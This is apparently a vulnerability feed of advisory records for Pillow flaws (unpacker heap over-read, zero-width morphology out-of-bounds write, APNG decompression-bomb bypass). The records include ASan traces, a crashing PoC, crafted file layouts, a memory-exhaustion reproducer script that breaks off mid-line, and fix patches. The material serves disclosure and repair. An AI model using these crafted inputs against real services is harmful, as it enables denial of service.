#14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)\n    #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)\n    #16 0x000194c86b94  (<unknown module>)\n\n0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374)\nallocated by thread T0 here:\n    #0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c)\n    #1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324)\n    #2 0x000102f21b4c in array_new+0x320 (python3.14:arm64+0x10014db4c)\n    #3 0x0001030fc390 in type_call+0x5c (python3.14:arm64+0x100328390)\n    #4 0x000102e58ae4 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x668 (python3.14:arm64+0x100084ae4)\n    #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)\n    #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)\n    #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)\n    #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)\n    #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)\n    #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)\n    #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)\n    #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)\n    #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)\n    #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)\n    #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)\n    #16 0x000194c86b94  (<unknown module>)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (_imaging.cpython-314-darwin.so:arm64+0xb4680) in unpackP2L+0x17c\nShadow bytes around the buggy address:\n  0x602000037080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x602000037100: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x602000037180: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x602000037200: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x602000037280: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n=>0x602000037300: fa fa 00 fa fa fa 00 00 fa fa fd fa fa fa[04]fa\n  0x602000037380: fa fa 04 fa fa fa fd fd fa fa fd fd fa fa fd fd\n  0x602000037400: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 fa\n  0x602000037480: fa fa 01 fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x602000037500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x602000037580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n```\n</details>\n\n(To get it to scream differently about `unpackP4L`, comment out the P;2L case.)\n\nThe above output is with `unpackP2L` and `unpackP4L` off 5eee92031a1986dfdaac7c78cdf0b764c0697118 lazily instrumented to print out what it's reading:\n\n<details>\n\n```patch\ndiff --git a/src/libImaging/Unpack.c b/src/libImaging/Unpack.c\nindex a51568209..4f867737a 100644\n--- a/src/libImaging/Unpack.c\n+++ b/src/libImaging/Unpack.c\n@@ -548,6 +548,8 @@ unpackP4(UINT8 *out, const UINT8 *in, int pixels) {\n     }\n }\n \n+#include <stdio.h>\n+\n static void\n unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {\n     int i, j, m, s;\n@@ -555,6 +557,8 @@ unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {\n     m = 128;\n     s = (pixels + 7) / 8;\n     for (i = j = 0; i < pixels; i++) {\n+        fprintf(stderr, \"unpackP2L: in=%p i=%d j=%d pixels=%d reads %p %p\\n\",\n+            in, i, j, pixels, in + j, in + j + s);\n         out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0);\n         if ((m >>= 1) == 0) {\n             m = 128;\n@@ -570,6 +574,8 @@ unpackP4L(UINT8 *out, const UINT8 *in, int pixels) {\n     m = 128;\n     s = (pixels + 7) / 8;\n     for (i = j = 0; i < pixels; i++) {\n+        fprintf(stderr, \"unpackP4L: in=%p i=%d j=%d pixels=%d reads %p %p %p %p\\n\",\n+            in, i, j, pixels, in + j, in + j + s, in + j + 2 * s, in + j + 3 * s);\n         out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0) +\n                  ((in[j + 2 * s] & m) ? 4 : 0) + ((in[j + 3 * s] & m) ? 8 : 0);\n         if ((m >>= 1) == 0) {\n```\n</details>\n\n### Impact\n\nOnly a very specific use case is affected: `Image.frombytes()` or `Image.frombuffer()` calls of the shape above.\nThe PCX decoder, which is the only Pillow-internal user of the P;2L and P;4L unpackers, already re-packs PCX rows into a format where overreads aren't an issue.\n\nThe impact is that up to 1 byte (`P;2L`) or 3 bytes (`P;4L`) of heap memory following the caller's buffer are read and mixed into the pixel values of the last decoded row(s), one bit per affected plane per pixel. A crash is also possible if the read reaches unmapped memory.\n\nAs far as I can tell, all published Pillow versions are affected.\n\n### Notes\n\nThese findings were momentarily public (though in no detail) in https://github.com/python-pillow/Pillow/pull/9723#issuecomment-5566006996; Andrew asked to retract the comment and post this instead.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4558-3h8r-v8xp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112394"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9723"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/392ee6f0d19a4adb766a63e9a99f3c28193b8d31"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112397","published":"2026-10-21T09:14:41Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-58r4-6rv3-gfh8","CVE-2026-112397","BIT-pillow-2026-112397","PYSEC-2026-4329"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Out-of-bounds access in _imagingmorph on a zero-width image","details":"### Summary\nA PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.\n\n### Details\nThe PPM parser reads width and height with no lower-bound check:\n\n- `src/PIL/PpmImagePlugin.py:119`\n\nThe native `apply()` writes the row edges with no guard that the width is positive:\n\n- `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`\n\n`match()` and `get_on_pixels()` use the same edge-indexing pattern.\n\n### PoC\n```python\nfrom PIL import Image, ImageMorph\n\n# A width-0 image (also producible from a crafted PPM header). apply() indexes\n# outrow[width - 1] == outrow[-1] in native code.\nim = Image.new(\"L\", (0, 5))\nImageMorph.MorphOp(op_name=\"dilation4\").apply(im)\n```\n\nRun it:\n```\n$ python 03_poc.py\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96`.\n\nUnder AddressSanitizer:\n```\n==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)\n    #0 apply   src/_imagingmorph.c:81\nSUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply\n```\nWith width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.\n\n### Impact\nOut-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112397"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112399","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-5xm2-6676-qcp9","CVE-2026-112399","BIT-pillow-2026-112399"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: APNG background disposal allocates full canvas before decompression bomb check","details":"```\n============================================================================\nAPNG background disposal allocates full canvas before decompression bomb check\nLocation: src/PIL/PngImagePlugin.py:1000  in PngImageFile._seek()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA 126-byte animated PNG file makes Pillow's `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright.\n\nThe bug is in `PngImageFile._seek()` in `src/PIL/PngImagePlugin.py` (around line 1000). For any APNG, `_open()` calls `self._seek(0)`. When the first `fcTL` chunk requests `OP_BACKGROUND` disposal, `_seek()` calls `Image.core.fill(self.mode, self.size)` with the full IHDR size, which allocates and zero-fills width×height×4 bytes. `OP_PREVIOUS` takes the same path, because frame 0 rewrites it to `OP_BACKGROUND`. This all happens inside the plugin factory, so `Image.open()`'s `_decompression_bomb_check(im.size)` only runs after the memory has been touched. A 1×1 frame rectangle passes the only checks on the way.\n\nBelow available memory, the allocation is freed when `DecompressionBombError` propagates, so sustained pressure needs repeated or concurrent uploads. A 45000×45000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (`dispose_op` 0 vs 1). Both end in `DecompressionBombError`, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 (\"Use disposal settings from previous frame\", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached.\n\n## Details\n\nFor an APNG whose first `fcTL` chunk requests `OP_BACKGROUND` disposal, `PngImageFile._open()` creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before `Image.open()` gets to `_decompression_bomb_check(im.size)`, so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched.\n\nThe following 126-byte file (all chunk lengths and CRCs valid) makes `Image.open(io.BytesIO(data))`, with default `MAX_IMAGE_PIXELS` and no `load()`, reach 1.86 GB resident (`ru_maxrss`) and then raise `DecompressionBombError`. The byte-identical file with `dispose_op=0` raises the same error at 17 MB.\n\n```\nIHDR  width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA)\nacTL  num_frames=2 num_plays=0\nfcTL  seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0\nIDAT  zlib(00 00 00 00 00)                      # one 1x1 RGBA scanline\nIEND\n```\n\nWith `width=height=45000` (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB `RLIMIT_AS` it fails with `MemoryError` from the allocator instead of `DecompressionBombError`; without a cap, on an 8 GB host with no swap, the process is OOM-killed.\n\n### Code path\n\n`Image.open()` runs the bomb check only after the plugin's constructor (and therefore `_open()`) has returned:\n\n```python\n# src/PIL/Image.py:3699-3701\n                    im = factory(fp, filename)\n                    _decompression_bomb_check(im.size)\n                    return im\n```\n\nFor a plain PNG that ordering is fine: `PngImageFile._open()` only parses chunks up to the first `IDAT` and records `self._size` from `IHDR`; nothing is allocated from it. For an APNG (`acTL` seen, so `im_n_frames` is set) `_open()` additionally positions on frame 0:\n\n```python\n# src/PIL/PngImagePlugin.py:845-853\n        if self.png.im_n_frames is not None:\n            …\n            self._seek(0)\n```\n\n`_seek(0)` copies `disposal` and `bbox` from the `fcTL` chunk into `self.dispose_op` / `self.dispose_extent` and then prepares the disposal image for the *next* frame eagerly, using the full image size:\n\n```python\n# src/PIL/PngImagePlugin.py:991-1001\n        if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:\n            self.dispose_op = Disposal.OP_BACKGROUND\n\n        self.dispose = None\n        if self.dispose_op == Disposal.OP_PREVIOUS:\n            …\n        elif self.dispose_op == Disposal.OP_BACKGROUND:\n            self.dispose = Image.core.fill(self.mode, self.size)\n            self.dispose = self._crop(self.dispose, self.dispose_extent)\n```\n\n`Image.core.fill` is `_fill()` in `src/_imaging.c:711`, which does `ImagingNewDirty(mode, xsize, ysize)` followed by `ImagingFill()`; `ImagingFill` (`src/libImaging/Fill.c:23`) writes every row, so the whole `width*height*4` bytes become resident rather than merely reserved. `self.size` here is the IHDR size (22000×22000), not the 1×1 frame rectangle. The `_crop` on the next line does call `_decompression_bomb_check`, but on the `fcTL` rectangle (1×1) and only after the fill has completed. Lines 991-992 rewrite `OP_PREVIOUS` to `OP_BACKGROUND` on frame 0, so `dispose_op=2` takes the same path (verified: identical 1.86 GB peak). When the first `fcTL` rectangle is large, the `_crop` copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000×13000 full-frame `fcTL` (below the error threshold, so `Image.open()` succeeds with only a `DecompressionBombWarning`) peaks at 1.31 GB for a 0.66 GB canvas.\n\nThe only validation `chunk_fcTL` applies (`src/PIL/PngImagePlugin.py:740-745`) is that the frame rectangle fits inside the IHDR size, which a 1×1 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to `_open_core`, `_decompression_bomb_check((22000, 22000))` raises, and the 1.9 GB core image is released when the half-constructed `PngImageFile` is discarded.\n\nThe eager full-size fill in `_seek()` was introduced in `5e4e0fa6ee67` (\"Use disposal settings from previous frame\", 2020-12-24) and first shipped in 8.1.0; before it, the `OP_BACKGROUND` fill lived in `load_end()` and could not be reached from `Image.open()`.\n\n## Impact\n\nAny application that calls `Image.open()` on untrusted bytes with default settings — the configuration in which the decompression-bomb check is supposed to make that call cheap and safe — can be made to allocate and write an attacker-chosen amount of memory from a ~126-byte PNG upload, before any error is reported and without `load()`, frame iteration, or `LOAD_TRUNCATED_IMAGES`. The amount is set directly by the IHDR width/height (4 bytes per pixel for colour type 6): values below the host's free memory cause a transient multi-GB spike per request (≈15,000,000× amplification at 22000×22000) that is freed when the exception propagates, so concurrent or repeated uploads are needed to sustain pressure; values above it get the worker process OOM-killed outright. PNG is accepted by essentially every upload pipeline, and the file passes `_accept` and chunk CRC checks as a well-formed APNG.\n\nThis is the same class as the recent bomb-check additions for WMF (load at a different DPI), FITS, GIF and FontFile — an allocation sized from file-declared numbers on a path `_decompression_bomb_check` does not cover — but here the uncovered path is `Image.open()` itself rather than a later `load()`/`seek()`.\n\n## Reproducing\n\n`repro` is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain `Image.open(io.BytesIO(data))` in a fresh child interpreter using default settings and no `load()`, and has each child report the exception it got and its own peak RSS (`ru_maxrss`). It needs about 2 GB of free RAM and finishes in about a second.\n\nThe two files are 126 bytes each and differ in exactly one byte, the `dispose_op` of the first `fcTL` chunk: `0` (`OP_NONE`) for the control and `1` (`OP_BACKGROUND`) for the attack. Both declare IHDR 22000×22000 RGBA. That is 484 Mpixel, above the 2×`MAX_IMAGE_PIXELS` error threshold, so `Image.open()` has to reject both with `DecompressionBombError`. Each chunk has a job:\n\n- The `acTL` chunk (2 frames) makes `_open()` call `_seek(0)`.\n- The 1×1 `fcTL` rectangle passes `chunk_fcTL`'s bounds check and `_crop`'s bomb check.\n- The one-scanline `IDAT` ends header parsing.\n\nExpected output on this tree:\n\n```\n126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults\n  control  dispose_op=0 OP_NONE        -> DecompressionBombError peak RSS    17 MB\n  attack   dispose_op=1 OP_BACKGROUND  -> DecompressionBombError peak RSS  1864 MB\nImage.open() touched a full 22000x22000 canvas before the bomb check ran\nBUG\n```\n\nBoth files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after `Image.core.fill(\"RGBA\", (22000, 22000))` has allocated and zero-filled about 1.9 GB. The script prints `BUG` if the attack child's peak RSS is at least 1000 MB and at least 20× the control's, or if the attack child is killed by `SIGKILL` (for example by the OOM killer on a small host). Otherwise it prints `OK`; any other non-zero child exit is treated as a harness failure, printed with the child's output, and also ends in `OK`. With either attached patch applied, both children report about 17–22 MB and the script prints `OK`.\n\nThe allocation grows with the header, so it can be scaled by changing `SIZE` in the script. The 45000×45000 case (an 8.1 GB canvas) is covered in Details and is not part of the script.\n\n## Suggested fix\n\nDo not build the `OP_BACKGROUND` disposal image from the declared size during `_open()`. Two alternative patches are attached; both change only `src/PIL/PngImagePlugin.py`, and both add the same regression test to `Tests/test_file_apng.py` (a 2³¹−1 × 1 APNG built in memory with a 1×1 `OP_BACKGROUND` first frame must make `Image.open()` raise `DecompressionBombError`; on the current tree the fill fails first with `MemoryError`). Attached patch 1 is the preferred fix.\n\n**Attached patch 1** moves the fill to its only point of use, the `frame > 0` branch of `_seek()` right after `self.load()` — which can only run once `Image.open()` has returned (bomb check passed) and the canvas itself has been allocated — and, as `GifImagePlugin` already does, fills only the previous frame's dispose extent instead of a full canvas that is then cropped:\n\n```diff\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):\n             # ensure previous frame was loaded\n             self.load()\n \n+            if self.dispose_op == Disposal.OP_BACKGROUND:\n+                # Created here rather than in the previous _seek(), so that\n+                # nothing is allocated from the declared image size before\n+                # the decompression bomb check in Image.open() has run.\n+                # Only dispose the extent of the previous frame.\n+                x0, y0, x1, y1 = self.dispose_extent\n+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))\n             if self.dispose:\n                 self.im.paste(self.dispose, self.dispose_extent)\n             self._prev_im = self.im.copy()\n@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):\n             if self._prev_im:\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n-        elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n```\n\nAt that point `self.dispose_op` and `self.dispose_extent` still hold the previous frame's values (they are reassigned further down in `_seek`), so disposal semantics are unchanged; the `OP_PREVIOUS` copy stays eager because `load_end()` pastes into `_prev_im` in place (`src/PIL/PngImagePlugin.py:1110`). With this patch `Image.open()` allocates nothing from the declared size, including in the `DecompressionBombWarning` range.\n\n**Attached patch 2** is a smaller diff that keeps the eager disposal setup in `_seek()` and mirrors `GifImagePlugin._seek()`'s `OP_BACKGROUND` handling exactly: it computes the size of the `fcTL` rectangle (already validated by `chunk_fcTL` to lie within the image), runs `Image._decompression_bomb_check()` on it, and fills an image of only that size instead of filling `self.size` and cropping. It also narrows the `dispose_extent` annotation to `tuple[int, int, int, int]` so the bomb-check call type-checks. The trade-off is that a full-canvas first frame still allocates a bomb-checked image inside `Image.open()` — up to about 2×`MAX_IMAGE_PIXELS`×4 bytes (660 MB for a 13000×13000 full-frame `fcTL`, with `DecompressionBombWarning`) — and a first `fcTL` covering a canvas above the error threshold now raises `DecompressionBombError` from `_seek(0)` rather than from `Image.open()`'s own check.\n\nWith either patch applied to a clean checkout, the reproducer prints `OK` and all 54 files in `Tests/images/apng/` decode byte-identically frame by frame, including after a rewind.\n\n## The patch (1 of 2)\n\nCreate the APNG OP_BACKGROUND disposal image when the next frame is sought, sized to the frame extent, not in _open() from the IHDR size\n\nApplies to `src/PIL/PngImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py\nindex 15689476c..6e61c8b4b 100644\n--- a/Tests/test_file_apng.py\n+++ b/Tests/test_file_apng.py\n@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None:\n         assert im.size == (128, 64)\n \n \n+def test_apng_dispose_op_background_decompression_bomb() -> None:\n+    # The disposal image must not be created from the declared image size\n+    # before the decompression bomb check in Image.open() has run.\n+    # A canvas this wide cannot be allocated, so if it is attempted,\n+    # a MemoryError is raised instead of a DecompressionBombError.\n+    o16 = PngImagePlugin.o16\n+    o32 = PngImagePlugin.o32\n+\n+    b = BytesIO()\n+    b.write(PngImagePlugin._MAGIC)\n+    PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\")\n+    PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0))\n+    PngImagePlugin.putchunk(\n+        b,\n+        b\"fcTL\",\n+        o32(0),  # sequence number\n+        o32(1),  # width\n+        o32(1),  # height\n+        o32(0),  # x offset\n+        o32(0),  # y offset\n+        o16(1),  # delay numerator\n+        o16(10),  # delay denominator\n+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),\n+    )\n+    PngImagePlugin.putchunk(b, b\"IDAT\")\n+    PngImagePlugin.putchunk(b, b\"IEND\")\n+\n+    with pytest.raises(Image.DecompressionBombError):\n+        Image.open(b)\n+\n+\n def test_apng_blend() -> None:\n     with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im:\n         assert isinstance(im, PngImagePlugin.PngImageFile)\ndiff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py\nindex 0eb2fd5e4..24fa587c1 100644\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):\n             # ensure previous frame was loaded\n             self.load()\n \n+            if self.dispose_op == Disposal.OP_BACKGROUND:\n+                # Created here rather than in the previous _seek(), so that\n+                # nothing is allocated from the declared image size before\n+                # the decompression bomb check in Image.open() has run.\n+                # Only dispose the extent of the previous frame.\n+                x0, y0, x1, y1 = self.dispose_extent\n+                self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))\n             if self.dispose:\n                 self.im.paste(self.dispose, self.dispose_extent)\n             self._prev_im = self.im.copy()\n@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):\n             if self._prev_im:\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n-        elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n \n     def tell(self) -> int:\n         return self.__frame\n```\n\n## The patch (2 of 2)\n\nBomb-check and fill only the fcTL extent for APNG OP_BACKGROUND disposal instead of a full IHDR-sized canvas in PngImageFile._seek()\n\nApplies to `src/PIL/PngImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py\nindex 15689476c..6e61c8b4b 100644\n--- a/Tests/test_file_apng.py\n+++ b/Tests/test_file_apng.py\n@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None:\n         assert im.size == (128, 64)\n \n \n+def test_apng_dispose_op_background_decompression_bomb() -> None:\n+    # The disposal image must not be created from the declared image size\n+    # before the decompression bomb check in Image.open() has run.\n+    # A canvas this wide cannot be allocated, so if it is attempted,\n+    # a MemoryError is raised instead of a DecompressionBombError.\n+    o16 = PngImagePlugin.o16\n+    o32 = PngImagePlugin.o32\n+\n+    b = BytesIO()\n+    b.write(PngImagePlugin._MAGIC)\n+    PngImagePlugin.putchunk(b, b\"IHDR\", o32(2**31 - 1), o32(1), b\"\\x08\\x06\\x00\\x00\\x00\")\n+    PngImagePlugin.putchunk(b, b\"acTL\", o32(2), o32(0))\n+    PngImagePlugin.putchunk(\n+        b,\n+        b\"fcTL\",\n+        o32(0),  # sequence number\n+        o32(1),  # width\n+        o32(1),  # height\n+        o32(0),  # x offset\n+        o32(0),  # y offset\n+        o16(1),  # delay numerator\n+        o16(10),  # delay denominator\n+        bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),\n+    )\n+    PngImagePlugin.putchunk(b, b\"IDAT\")\n+    PngImagePlugin.putchunk(b, b\"IEND\")\n+\n+    with pytest.raises(Image.DecompressionBombError):\n+        Image.open(b)\n+\n+\n def test_apng_blend() -> None:\n     with Image.open(\"Tests/images/apng/blend_op_source_solid.png\") as im:\n         assert isinstance(im, PngImagePlugin.PngImageFile)\ndiff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py\nindex 0eb2fd5e4..0111a17d7 100644\n--- a/src/PIL/PngImagePlugin.py\n+++ b/src/PIL/PngImagePlugin.py\n@@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile):\n                 msg = \"image not found in APNG frame\"\n                 raise EOFError(msg)\n         if dispose_extent:\n-            self.dispose_extent: tuple[float, float, float, float] = dispose_extent\n+            self.dispose_extent: tuple[int, int, int, int] = dispose_extent\n \n         # setup frame disposal (actual disposal done when needed in the next _seek())\n         if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:\n@@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile):\n                 self.dispose = self._prev_im.copy()\n                 self.dispose = self._crop(self.dispose, self.dispose_extent)\n         elif self.dispose_op == Disposal.OP_BACKGROUND:\n-            self.dispose = Image.core.fill(self.mode, self.size)\n-            self.dispose = self._crop(self.dispose, self.dispose_extent)\n+            # only dispose the extent in this frame, rather than filling an\n+            # image of the declared size before Image.open() has been able to\n+            # run the decompression bomb check\n+            x0, y0, x1, y1 = self.dispose_extent\n+            dispose_size = (x1 - x0, y1 - y0)\n+\n+            Image._decompression_bomb_check(dispose_size)\n+            self.dispose = Image.core.fill(self.mode, dispose_size)\n \n     def tell(self) -> int:\n         return self.__frame\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 3,564 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nImage.open() on a 126-byte APNG allocates and zero-fills a full canvas of the\nheader-declared size *before* Pillow's decompression-bomb check rejects it.\n\nWe build two PNGs that are identical except for one byte, the first fcTL\nchunk's dispose_op:\n\n    control: dispose_op = 0  (OP_NONE)\n    attack:  dispose_op = 1  (OP_BACKGROUND)\n\nBoth declare 22000x22000 RGBA (484 Mpixel, above the 2 * MAX_IMAGE_PIXELS\nerror threshold), so Image.open() must reject both with DecompressionBombError\n-- and that check exists precisely so the rejection is cheap. For the attack\nfile, PngImageFile._open() -> _seek(0) first runs\nImage.core.fill(mode, (22000, 22000)), touching ~1.9 GB, and only then is the\nbomb check reached.\n\nEach file is opened in a fresh interpreter that reports its own peak RSS.\n\"\"\"\nimport struct\nimport subprocess\nimport sys\nimport zlib\n\nSIZE = 22000  # 22000 * 22000 * 4 bytes = 1.94 GB canvas\n\n\ndef chunk(cid, data):\n    crc = zlib.crc32(cid + data)\n    return struct.pack(\">I\", len(data)) + cid + data + struct.pack(\">I\", crc)\n\n\ndef build_apng(dispose_op):\n    ihdr = struct.pack(\">IIBBBBB\", SIZE, SIZE, 8, 6, 0, 0, 0)  # 8-bit RGBA\n    actl = struct.pack(\">II\", 2, 0)  # animated: 2 frames -> _open() calls _seek(0)\n    # frame 0: seq 0, a 1x1 rectangle at (0,0) (passes fcTL's bounds check),\n    # delay 1/10 s, the dispose_op under test, blend_op 0\n    fctl = struct.pack(\">IIIIIHHBB\", 0, 1, 1, 0, 